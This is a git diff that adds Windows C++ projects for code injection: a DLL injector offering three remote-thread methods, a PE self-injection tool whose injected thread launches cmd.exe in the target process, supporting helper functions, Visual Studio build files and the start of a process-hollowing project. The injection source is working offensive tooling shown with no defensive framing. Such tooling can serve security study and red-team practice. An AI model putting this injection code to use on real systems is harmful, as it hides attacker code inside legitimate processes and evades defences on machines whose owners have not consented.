+#include +#include +#include + + +typedef DWORD(WINAPI *prototype_NtCreateThreadEx)( + PHANDLE ThreadHandle, + ACCESS_MASK DesiredAccess, + LPVOID ObjectAttributes, + HANDLE ProcessHandle, + LPTHREAD_START_ROUTINE lpStartAddress, + LPVOID lpParameter, + BOOL CreateSuspended, + DWORD dwStackSize, + DWORD Unknown1, + DWORD Unknown2, + LPVOID Unknown3 + ); + +typedef DWORD(WINAPI *prototype_RtlCreateUserThread)( + HANDLE ProcessHandle, + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOL CreateSuspended, + ULONG StackZeroBits, + PULONG StackReserved, + PULONG StackCommit, + LPVOID StartAddress, + LPVOID StartParameter, + HANDLE ThreadHandle, + LPVOID ClientID + ); + + +int wmain(int argc, wchar_t**argv) //to read in arguments as unicode +{ + if (argc != 4) + { + printf("Usage: injectdll.exe [process name] [dll path] [option number]\noption 1 - CreateRemoteThread\noption 2 - NtCreateThreadEx\noption 3 - RtlCreateUserThread\n"); + return -1; + } + + int option = _wtoi(argv[3]); + if (option != 1 && option != 2 && option != 3) + { + printf("[-] Wrong option number\n"); + ExitProcess(-1); + } + + //find the process ID by name + DWORD pid = FindPIDByName(argv[1]); + printf("[+] PID is: %d,0x%x\n" , (UINT)pid, (UINT)pid); + + //open process with all access + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) + { + //printf("[-] Couldn't open process, exiting...\n"); + //return -1; + ErrorExit(TEXT("OpenProcess")); + } + printf("[+] Process handle: 0x%x\n", (UINT)hProcess); + + + //find the address of LoadLibrary (it's the same accross all processes) + HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); + if (hKernel32 == NULL) + { + ErrorExit(TEXT("GetModuleHandle")); + } + LPVOID llBaseAddress = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryW"); + if (llBaseAddress == NULL) + { + ErrorExit(TEXT("GetProcAddress")); + } + printf("[+] LoadLibrary base address is: 0x%x\n", (UINT)llBaseAddress); + + //allocate memory in target process + LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (lpBaseAddress == NULL) + { + ErrorExit(TEXT("VirtualAllocEx")); + } + printf("[+] Allocated memory address in target process is: 0x%x\n", (UINT)lpBaseAddress); + + + //write DLL name to target process + SIZE_T *lpNumberOfBytesWritten = 0; + BOOL resWPM = WriteProcessMemory(hProcess, lpBaseAddress, argv[2], wcslen(argv[2]) * 2, lpNumberOfBytesWritten); + if (!resWPM) + { + ErrorExit(TEXT("WriteProcessMemory")); + } + printf("[+] DLL name is written to memory of target process\n"); + + + //start remote thread in target process + HANDLE hThread = NULL; + DWORD ThreadId = 0; + + switch (option) + { + //option 1: CreateRemoteThread + case 1: + { + hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)llBaseAddress, lpBaseAddress, 0, (LPDWORD)(&ThreadId)); + if (hThread == NULL) + { + ErrorExit(TEXT("CreateRemoteThread")); + } + break; + } + //option 2: NtCreateThreadEx + case 2: + { + prototype_NtCreateThreadEx pfnNtCreateThreadEx = NULL; + PVOID pvEncodedPtr = NULL; + GetFunctionAddressFromDll("ntdll.dll", "NtCreateThreadEx", (PVOID *)&pfnNtCreateThreadEx); + + pfnNtCreateThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)llBaseAddress, lpBaseAddress, FALSE, NULL, NULL, NULL, NULL); + if (hThread == NULL) + { + ErrorExit(TEXT("NtCreateThreadEx")); + } + break; + } + //option 3: RtlCreateUserThread + case 3: + { + prototype_RtlCreateUserThread pfnRtlCreateUserThread = NULL; + PVOID pvEncodedPtr = NULL; + GetFunctionAddressFromDll("ntdll.dll", "RtlCreateUserThread", (PVOID *)&pfnRtlCreateUserThread); + + pfnRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, llBaseAddress, lpBaseAddress, &hThread, NULL); + if (hThread == NULL) + { + ErrorExit(TEXT("RtlCreateUserThread")); + } + break; + } + } + + printf("[+] Successfully started DLL in target process\n"); + if (ThreadId != 0) + { + printf("[+] Injected thread id: %u for pid: %u\n", (UINT)ThreadId, (UINT)pid); + } + return 0; +} + diff --git a/InjectDLL/InjectDLL/InjectDLL.vcxproj b/InjectDLL/InjectDLL/InjectDLL.vcxproj new file mode 100755 index 0000000..e2661d8 --- /dev/null +++ b/InjectDLL/InjectDLL/InjectDLL.vcxproj @@ -0,0 +1,162 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {C8E34F34-7DA3-436B-9BB4-1BE09907C5A1} + Win32Proj + InjectDLL + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + psapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + psapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + psapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + psapi.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/InjectDLL/InjectDLL/InjectDLL.vcxproj.filters b/InjectDLL/InjectDLL/InjectDLL.vcxproj.filters new file mode 100755 index 0000000..5562d93 --- /dev/null +++ b/InjectDLL/InjectDLL/InjectDLL.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/InjectDLL/InjectDLL/ReadMe.txt b/InjectDLL/InjectDLL/ReadMe.txt new file mode 100755 index 0000000..d18ddfe --- /dev/null +++ b/InjectDLL/InjectDLL/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : InjectDLL Project Overview +======================================================================== + +AppWizard has created this InjectDLL application for you. + +This file contains a summary of what you will find in each of the files that +make up your InjectDLL application. + + +InjectDLL.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +InjectDLL.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +InjectDLL.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named InjectDLL.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/InjectDLL/InjectDLL/general.cpp b/InjectDLL/InjectDLL/general.cpp new file mode 100755 index 0000000..337df85 --- /dev/null +++ b/InjectDLL/InjectDLL/general.cpp @@ -0,0 +1,83 @@ +#include "stdafx.h" +#include +#include +#include +#include + +#define STATUS_SUCCESS 1 +#define STATUS_FAIL -1 + +//source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx +void ErrorExit(LPTSTR lpszFunction) +{ + // Retrieve the system error message for the last-error code + LPVOID lpMsgBuf; + DWORD dw = GetLastError(); + + FormatMessage( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dw, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&lpMsgBuf, + 0, NULL); + + // Display the error message and exit the process + wprintf(L"[-] %s failed with error 0x%x: %s", lpszFunction, dw, lpMsgBuf); + + LocalFree(lpMsgBuf); + ExitProcess(dw); +} + +DWORD FindPIDByName(LPWSTR pName) +{ + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if ((DWORD)snapshot < 1) + { + ErrorExit(TEXT("CreateToolhelp32Snapshot")); + } + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (NULL != wcsstr(pEntry.szExeFile, pName)) + { + return pEntry.th32ProcessID; + } + } + ErrorExit(TEXT("Process32Next")); + } + else + { + ErrorExit(TEXT("Process32First")); + } + + CloseHandle(snapshot); + return 0; +} + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + ErrorExit(TEXT("GetModuleHandleA")); + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + ErrorExit(TEXT("GetProcAddress")); + } + + *ppvFunctionAddress = pvFunctionAddress; + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/InjectDLL/InjectDLL/general.h b/InjectDLL/InjectDLL/general.h new file mode 100755 index 0000000..694e5e8 --- /dev/null +++ b/InjectDLL/InjectDLL/general.h @@ -0,0 +1,10 @@ +#pragma once +#include +DWORD FindPIDByName(LPWSTR pName); + +void ErrorExit(LPTSTR lpszFunction); + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress); + +#define STATUS_SUCCESS 1 +#define STATUS_FAIL -1 \ No newline at end of file diff --git a/InjectDLL/InjectDLL/stdafx.cpp b/InjectDLL/InjectDLL/stdafx.cpp new file mode 100755 index 0000000..dcdc068 --- /dev/null +++ b/InjectDLL/InjectDLL/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// InjectDLL.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/InjectDLL/InjectDLL/stdafx.h b/InjectDLL/InjectDLL/stdafx.h new file mode 100755 index 0000000..47a0d02 --- /dev/null +++ b/InjectDLL/InjectDLL/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/InjectDLL/InjectDLL/targetver.h b/InjectDLL/InjectDLL/targetver.h new file mode 100755 index 0000000..90e767b --- /dev/null +++ b/InjectDLL/InjectDLL/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/InjectPE/InjectPE.sln b/InjectPE/InjectPE.sln new file mode 100755 index 0000000..8db9cdb --- /dev/null +++ b/InjectPE/InjectPE.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectPE", "InjectPE\InjectPE.vcxproj", "{B4860069-E55A-4536-9F51-75607BB9BA4E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Debug|x64.ActiveCfg = Debug|x64 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Debug|x64.Build.0 = Debug|x64 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Debug|x86.ActiveCfg = Debug|Win32 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Debug|x86.Build.0 = Debug|Win32 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Release|x64.ActiveCfg = Release|x64 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Release|x64.Build.0 = Release|x64 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Release|x86.ActiveCfg = Release|Win32 + {B4860069-E55A-4536-9F51-75607BB9BA4E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/InjectPE/InjectPE/InjectPE.cpp b/InjectPE/InjectPE/InjectPE.cpp new file mode 100755 index 0000000..41cb40e --- /dev/null +++ b/InjectPE/InjectPE/InjectPE.cpp @@ -0,0 +1,177 @@ +#include "stdafx.h" +#include +#include +#include +#include "general.h" + +//http://www.rohitab.com/discuss/topic/40841-pe-injection-advanced-memory-code-injection-technique/ +//http://www.rohitab.com/discuss/topic/40160-inject-code-into-other-processes-using-pe-injection/ + +#define CountRelocationEntries(dwBlockSize) (dwBlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY) + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; + +} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; + +DWORD WINAPI entryThread(LPVOID param) +{ + WinExec("cmd.exe",1); + return 0; +} + +int wmain(int argc, wchar_t**argv) //to read in arguments as unicode +{ + + if (argc != 2) + { + printf("Usage: processhollowing.exe [target process]\r\n"); + return -1; + } + + //find the process ID by name + DWORD pid = FindPIDByName(argv[1]); + printf("[+] PID is: %d,0x%x\n", (UINT)pid, (UINT)pid); + + //open process with all access + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) + { + ErrorExit(TEXT("OpenProcess")); + } + printf("[+] Process handle: 0x%Ix\n", (SIZE_T)hProcess); + + //Get our module handle + HMODULE hSelf = GetModuleHandle(NULL); + if (!hSelf) + { + ErrorExit(TEXT("GetModuleHandle")); + } + + PIMAGE_DOS_HEADER pSelfDosHeader, pSelfCopyDosHeader; + PIMAGE_NT_HEADERS pSelfNTHeader, pSelfCopyNTHeader; + PIMAGE_SECTION_HEADER pSelfCopySectionHeader; + + pSelfDosHeader = (PIMAGE_DOS_HEADER)hSelf; + + // Get the address of the IMAGE_NT_HEADERS + pSelfNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)hSelf + pSelfDosHeader->e_lfanew); + + + if (IsBadReadPtr(hSelf, pSelfNTHeader->OptionalHeader.SizeOfImage)) + { + ErrorExit(TEXT("IsBadReadPtr")); + } + + printf("[*] Trying to allocate new memory space in target process\r\n"); + LPVOID lpNewImageBaseAddress = VirtualAllocEx(hProcess, NULL, pSelfNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpNewImageBaseAddress) + { + ErrorExit(TEXT("VirtualAllocEx")); + } + + printf("[+] Memory in target process: 0x%Ix\r\n", (SIZE_T)lpNewImageBaseAddress); + /* make a copy of ourselves to work on before the copy */ + + printf("[*] Trying to allocate temporary memory to work on\r\n"); + LPVOID lpSelfCopyBaseAddress = VirtualAlloc( NULL, pSelfNTHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpSelfCopyBaseAddress) + { + ErrorExit(TEXT("VirtualAlloc")); + } + printf("[+] Temporary memory: 0x%Ix\r\n", (SIZE_T)lpSelfCopyBaseAddress); + + //copy ourselves to the new space + RtlCopyMemory(lpSelfCopyBaseAddress, hSelf, pSelfNTHeader->OptionalHeader.SizeOfImage); + + pSelfCopyDosHeader = (PIMAGE_DOS_HEADER)lpSelfCopyBaseAddress; + pSelfCopyNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)lpSelfCopyBaseAddress + pSelfCopyDosHeader->e_lfanew); + + // Overwrite ImageBase value in the copy in memory + pSelfCopyNTHeader->OptionalHeader.ImageBase = (SIZE_T)lpNewImageBaseAddress; + printf("[*] Writing executable image into child process.\r\n"); + + + /* Reloaction of VAs */ + // offset between the the original ImageBase found in the file and the location loaded in the memory + SIZE_T dwDelta = (SIZE_T)lpNewImageBaseAddress - pSelfNTHeader->OptionalHeader.ImageBase; + SIZE_T dwOldDelta = (DWORD_PTR)((LPBYTE)hSelf - pSelfNTHeader->OptionalHeader.ImageBase); + printf("[+] Delta, Old Delta: 0x%Ix, 0x%Ix\r\n", dwDelta, dwOldDelta); + + for (int x = 0; x < pSelfCopyNTHeader->FileHeader.NumberOfSections; x++) + { + // find .reloc section + char* pSectionName = ".reloc"; + pSelfCopySectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)hSelf + pSelfCopyDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (x * sizeof(IMAGE_SECTION_HEADER))); + if (memcmp(pSelfCopySectionHeader->Name, pSectionName, strlen(pSectionName))) + continue; + + printf("[*] Rebasing image\r\n"); + + DWORD dwRelocSectionRawData = pSelfCopySectionHeader->PointerToRawData; + DWORD dwOffsetInRelocSection = 0; + + IMAGE_DATA_DIRECTORY relocData = pSelfCopyNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // parse reloaction data + while (dwOffsetInRelocSection < relocData.Size) + { + PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)((SIZE_T)lpSelfCopyBaseAddress + dwRelocSectionRawData + dwOffsetInRelocSection); + + dwOffsetInRelocSection += sizeof(BASE_RELOCATION_BLOCK); + + if (pBlockheader->BlockSize > 0 && pBlockheader->PageAddress > 0) + { + DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); + + PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)((SIZE_T)lpSelfCopyBaseAddress + dwRelocSectionRawData + dwOffsetInRelocSection); + + for (DWORD y = 0; y < dwEntryCount; y++) + { + dwOffsetInRelocSection += sizeof(BASE_RELOCATION_ENTRY); + + if (pBlocks[y].Type == 0) + continue; + + SIZE_T dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; + + //printf("[*] Reading from 0x%p\r\n", (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress)); + SIZE_T dwBuffer = 0; + RtlCopyMemory(&dwBuffer, (PVOID)((SIZE_T)lpSelfCopyBaseAddress + dwFieldAddress), sizeof(SIZE_T)); + + printf("[*] Relocating 0x%Ix -> 0x%Ix\r\n", dwBuffer, dwBuffer + dwDelta - dwOldDelta); + + dwBuffer += dwDelta; + dwBuffer -= dwOldDelta; + //printf("[*] Writing 0x%p to 0x%p\r\n", dwBuffer, (PVOID)((SIZE_T)lpNewImageBaseAddress + dwFieldAddress)); + RtlCopyMemory((PVOID)((SIZE_T)lpSelfCopyBaseAddress + dwFieldAddress), &dwBuffer, sizeof(SIZE_T)); + + } + } + } + } + + + // Write the updated code to tthe target process + if (!WriteProcessMemory(hProcess, lpNewImageBaseAddress, lpSelfCopyBaseAddress, pSelfNTHeader->OptionalHeader.SizeOfImage, NULL)) + { + ErrorExit(TEXT("WriteProcessMemory")); + } + + printf("[*] Starting remote thread\r\n"); + LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)(HMODULE)lpNewImageBaseAddress + (DWORD_PTR)((LPBYTE)entryThread - (LPBYTE)hSelf)); + /* Call the distant routine in a remote thread */ + if (!CreateRemoteThread(hProcess, NULL, 0, remoteThread, NULL, 0, NULL)) + { + ErrorExit(TEXT("CreateRemoteThread")); + } + + return 0; +} + diff --git a/InjectPE/InjectPE/InjectPE.vcxproj b/InjectPE/InjectPE/InjectPE.vcxproj new file mode 100755 index 0000000..2119342 --- /dev/null +++ b/InjectPE/InjectPE/InjectPE.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {B4860069-E55A-4536-9F51-75607BB9BA4E} + Win32Proj + InjectPE + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/InjectPE/InjectPE/InjectPE.vcxproj.filters b/InjectPE/InjectPE/InjectPE.vcxproj.filters new file mode 100755 index 0000000..02ded3c --- /dev/null +++ b/InjectPE/InjectPE/InjectPE.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/InjectPE/InjectPE/InjectPE.vcxproj.user b/InjectPE/InjectPE/InjectPE.vcxproj.user new file mode 100755 index 0000000..8228cb3 --- /dev/null +++ b/InjectPE/InjectPE/InjectPE.vcxproj.user @@ -0,0 +1,19 @@ + + + + iexplore.exe + WindowsLocalDebugger + + + iexplore.exe + WindowsLocalDebugger + + + iexplore.exe + WindowsLocalDebugger + + + iexplore.exe + WindowsLocalDebugger + + \ No newline at end of file diff --git a/InjectPE/InjectPE/ReadMe.txt b/InjectPE/InjectPE/ReadMe.txt new file mode 100755 index 0000000..a5d14ab --- /dev/null +++ b/InjectPE/InjectPE/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : InjectPE Project Overview +======================================================================== + +AppWizard has created this InjectPE application for you. + +This file contains a summary of what you will find in each of the files that +make up your InjectPE application. + + +InjectPE.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +InjectPE.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +InjectPE.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named InjectPE.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/InjectPE/InjectPE/general.cpp b/InjectPE/InjectPE/general.cpp new file mode 100755 index 0000000..1a41ed5 --- /dev/null +++ b/InjectPE/InjectPE/general.cpp @@ -0,0 +1,83 @@ +#include "stdafx.h" +#include +#include +#include +#include + +#define STATUS_SUCCESS 0 +#define STATUS_FAIL -1 + +//source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680582(v=vs.85).aspx +void ErrorExit(LPTSTR lpszFunction) +{ + // Retrieve the system error message for the last-error code + LPVOID lpMsgBuf; + DWORD dw = GetLastError(); + + FormatMessage( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dw, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&lpMsgBuf, + 0, NULL); + + // Display the error message and exit the process + wprintf(L"[-] %s failed with error 0x%x: %s", lpszFunction, dw, lpMsgBuf); + + LocalFree(lpMsgBuf); + ExitProcess(dw); +} + +DWORD FindPIDByName(LPWSTR pName) +{ + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(PROCESSENTRY32); + + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if ((DWORD)snapshot < 1) + { + ErrorExit(TEXT("CreateToolhelp32Snapshot")); + } + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (NULL != wcsstr(pEntry.szExeFile, pName)) + { + return pEntry.th32ProcessID; + } + } + ErrorExit(TEXT("Process32Next")); + } + else + { + ErrorExit(TEXT("Process32First")); + } + + CloseHandle(snapshot); + return 0; +} + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + ErrorExit(TEXT("GetModuleHandleA")); + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + ErrorExit(TEXT("GetProcAddress")); + } + + *ppvFunctionAddress = pvFunctionAddress; + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/InjectPE/InjectPE/general.h b/InjectPE/InjectPE/general.h new file mode 100755 index 0000000..e32a22d --- /dev/null +++ b/InjectPE/InjectPE/general.h @@ -0,0 +1,10 @@ +#pragma once +#include +DWORD FindPIDByName(LPWSTR pName); + +void ErrorExit(LPTSTR lpszFunction); + +int GetFunctionAddressFromDll(PSTR pszDllName, PSTR pszFunctionName, PVOID *ppvFunctionAddress); + +#define STATUS_SUCCESS 0 +#define STATUS_FAIL -1 diff --git a/InjectPE/InjectPE/stdafx.cpp b/InjectPE/InjectPE/stdafx.cpp new file mode 100755 index 0000000..1408640 --- /dev/null +++ b/InjectPE/InjectPE/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// InjectPE.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/InjectPE/InjectPE/stdafx.h b/InjectPE/InjectPE/stdafx.h new file mode 100755 index 0000000..47a0d02 --- /dev/null +++ b/InjectPE/InjectPE/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/InjectPE/InjectPE/targetver.h b/InjectPE/InjectPE/targetver.h new file mode 100755 index 0000000..90e767b --- /dev/null +++ b/InjectPE/InjectPE/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/ProcessHollowing/ProcessHollowing.sln b/ProcessHollowing/ProcessHollowing.sln new file mode 100755 index 0000000..41a455c --- /dev/null +++ b/ProcessHollowing/ProcessHollowing.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.12 